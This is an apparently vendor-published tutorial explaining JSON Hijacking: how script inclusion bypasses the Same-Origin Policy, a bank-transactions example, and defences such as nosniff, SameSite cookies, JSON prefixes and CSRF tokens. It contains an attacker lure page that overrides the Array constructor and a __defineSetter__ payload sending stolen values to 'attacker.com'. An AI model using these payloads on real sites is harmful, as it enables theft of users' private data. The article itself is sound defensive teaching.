What is JSON Hijacking? Ways to Exploit, Examples and Impact
Discover how JSON Hijacking works, explore real-world exploit examples, and learn how to secure your APIs against this data theft technique.
In the world of web security, vulnerabilities often arise from the way browsers handle data and execute scripts. One such vulnerability that gained notoriety in the late 2000s is JSON Hijacking, also known as JavaScript Hijacking. This attack allows a malicious website to steal sensitive data from a web application by exploiting the way asynchronous data transfers occur. While modern browser security features have mitigated many of its original vectors, understanding JSON Hijacking remains essential for any security professional or developer looking to build robust, defense-in-depth security architectures.
What is JSON Hijacking?
JSON Hijacking is a specific type of Cross-Site Request Forgery (CSRF) that targets endpoints returning sensitive data in JSON (JavaScript Object Notation) format. The goal of the attacker is to exfiltrate data from a victim's session on a vulnerable website and send it to a server controlled by the attacker.
At its core, the vulnerability exploits the fact that the <script> tag in HTML is not restricted by the Same-Origin Policy (SOP). The SOP is a fundamental security mechanism that prevents a script loaded from one origin (e.g., attacker.com) from reading data from another origin (e.g., bank.com). However, because websites need to load external libraries (like jQuery or Google Analytics), the <script> tag is allowed to fetch and execute content from any domain. If a web application returns sensitive data as a valid JavaScript statement-such as a JSON array-an attacker can use a <script> tag to "include" that data as a script, effectively bypassing the SOP and reading the content.
How JSON Hijacking Works
To understand how an attacker pulls off this exploit, we must look at how browsers handle cookies and JavaScript execution. When you are logged into a site like my-social-app.com, your browser stores a session cookie. Every time your browser makes a request to my-social-app.com, it automatically attaches that cookie to the request, even if the request was initiated by a different site (unless specific modern protections like SameSite cookies are strictly enforced).
The Mechanism of the Attack
- The Victim is Logged In: A user is authenticated on
vulnerable-site.com. Their session cookie is active. - The Malicious Visit: The user visits
attacker-site.comwhile their session on the vulnerable site is still active. - The Script Inclusion: The attacker's site contains a
<script>tag whosesrcattribute points to a sensitive JSON endpoint on the vulnerable site, such ashttps://vulnerable-site.com/api/user-profile. - The Automatic Request: The victim's browser sends a GET request to the vulnerable endpoint. Crucially, it includes the victim's session cookies.
- The Execution: The server sees the valid session cookie and returns the sensitive JSON data. The browser then attempts to execute this data as JavaScript code because it was loaded via a
<script>tag.
Why JSON Arrays are Vulnerable
Historically, JSON hijacking primarily targeted JSON arrays (e.g., ["secret1", "secret2"]). In older versions of JavaScript engines, an array literal was considered a valid, executable statement. If an attacker could override the default constructor for the Array object or use other prototype manipulation techniques, they could "trap" the data as the browser processed the array.
Technical Deep Dive: Exploitation Examples
Let's look at how an attacker might actually exploit this. Suppose a bank has an endpoint that returns the user's recent transactions in a JSON array format.
Vulnerable Endpoint: https://bank.com/api/transactions
Response:
[
{"id": 101, "amount": "-500.00", "description": "Rent"},
{"id": 102, "amount": "-50.00", "description": "Groceries"}
]
The Classic Array Constructor Override
In older browsers (like Firefox 2 or 3), an attacker could redefine the global Array constructor. When the browser fetched the JSON array via a <script> tag, it would call the attacker's redefined constructor for every element in the array.
Attacker's Malicious Page (attacker.com/exploit.html):
<!DOCTYPE html>
<html>
<head>
<title>Win a Free iPhone!</title>
</head>
<body>
<script>
// Overriding the Array constructor to steal data
function Array() {
var obj = this;
var data = "";
// This is a simplified conceptual example
// In practice, attackers used more complex prototype hooks
setInterval(function() {
if (obj.length > 0) {
alert("Stolen data: " + JSON.stringify(obj));
}
}, 100);
}
</script>
<!-- This triggers the GET request with cookies -->
<script src="https://bank.com/api/transactions"></script>
</body>
</html>
Using __defineSetter__ for Exploitation
As browsers patched the Array constructor vulnerability, attackers found new ways to hook into the JavaScript engine. One famous method involved using __defineSetter__ on the Object.prototype. This allowed attackers to monitor when properties were set on objects within the JSON data.
Attacker Payload:
Object.prototype.__defineSetter__('amount', function(val) {
// Send the value to the attacker's server
new Image().src = "http://attacker.com/log?data=" + val;
});
When the script from bank.com was executed, every time the JavaScript engine encountered a key named amount, it would trigger the attacker's setter function, effectively leaking the transaction amounts.
The Impact of JSON Hijacking
The impact of a successful JSON Hijacking attack is severe because it results in a total loss of confidentiality for the targeted data. Since JSON is the standard format for modern APIs, the data at risk often includes:
- Personally Identifiable Information (PII): Names, addresses, email addresses, and phone numbers.
- Financial Data: Credit card numbers (masked or unmasked), transaction histories, and account balances.
- Authentication Tokens: In some cases, session tokens or CSRF tokens themselves might be returned in JSON, allowing for further account takeover attacks.
- Internal Infrastructure Details: If an administrative dashboard is targeted, an attacker could map out the internal network or software versions used by the company.
JSON Hijacking vs. CSRF: What's the Difference?
It is common to confuse JSON Hijacking with standard Cross-Site Request Forgery (CSRF). While they are related, they differ in their primary objective:
- CSRF: The goal is action. The attacker wants the victim's browser to perform an unauthorized state-changing action, like changing a password or transferring money. The attacker usually doesn't care about the response from the server.
- JSON Hijacking: The goal is information disclosure. The attacker wants to read the response from the server. They are using the CSRF mechanism (automatic cookie sending) to authorize a request, but the "script inclusion" trick is what allows them to bypass the SOP and read the data.
How to Prevent JSON Hijacking
Fortunately, preventing JSON Hijacking is straightforward if you follow modern web development best practices. Security should always be implemented in layers.
1. Never Use GET for Sensitive Data
JSON Hijacking relies on the <script> tag, which only performs GET requests. By requiring all sensitive JSON endpoints to use the POST method, you effectively neutralize the standard <script> tag attack vector. Ensure your server strictly validates the HTTP method.
2. Use the X-Content-Type-Options: nosniff Header
This header tells the browser to strictly follow the Content-Type provided by the server. If your API returns application/json and you have nosniff enabled, the browser will refuse to execute that content as a script, even if it is called within a <script> tag.
HTTP/1.1 200 OK
Content-Type: application/json
X-Content-Type-Options: nosniff
3. Return Objects Instead of Arrays
Historically, a top-level JSON object { "data": [] } was not considered a valid JavaScript statement in many engines, whereas a top-level array [] was. While modern engines have changed, it is still a best practice to always wrap your JSON responses in an object. This prevents the data from being executed as a standalone script.
Bad: ["item1", "item2"]
Good: {"results": ["item1", "item2"]}
4. Implement Anti-CSRF Tokens
Since JSON Hijacking is a form of CSRF, standard CSRF protections apply. Ensure that every sensitive request requires a unique, unpredictable token that the attacker cannot guess. If the token is missing or invalid, the server should reject the request.
5. Use JSON Prefixes (The Google/Facebook Method)
Some large tech companies use a unique defense: they prefix their JSON responses with a string that makes the script unexecutable or causes an infinite loop. For example, Google often prefixes JSON with )]}',.
If an attacker tries to load this via a <script> tag, the browser will encounter a syntax error and stop execution. Valid AJAX requests (using XMLHttpRequest or fetch) can easily strip this prefix before parsing the JSON.
// Example of a prefixed response
)]}',
{"user": "admin", "id": 1}
6. SameSite Cookie Attributes
The SameSite attribute on cookies is one of the most effective modern defenses. By setting your session cookies to SameSite=Lax or SameSite=Strict, the browser will not send the cookies during cross-site subresource requests (like those initiated by a <script> tag), preventing the attacker from making an authenticated request.
Conclusion
JSON Hijacking is a fascinating example of how subtle interactions between the HTML specification and JavaScript engines can create significant security holes. While modern browsers and the evolution of the JavaScript language have made the "classic" array-override attack much more difficult, the underlying principle of cross-site data exfiltration remains a threat. By enforcing strict HTTP methods, utilizing security headers like nosniff, and adopting modern cookie attributes, developers can effectively shield their users' data from these types of exploits.
To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.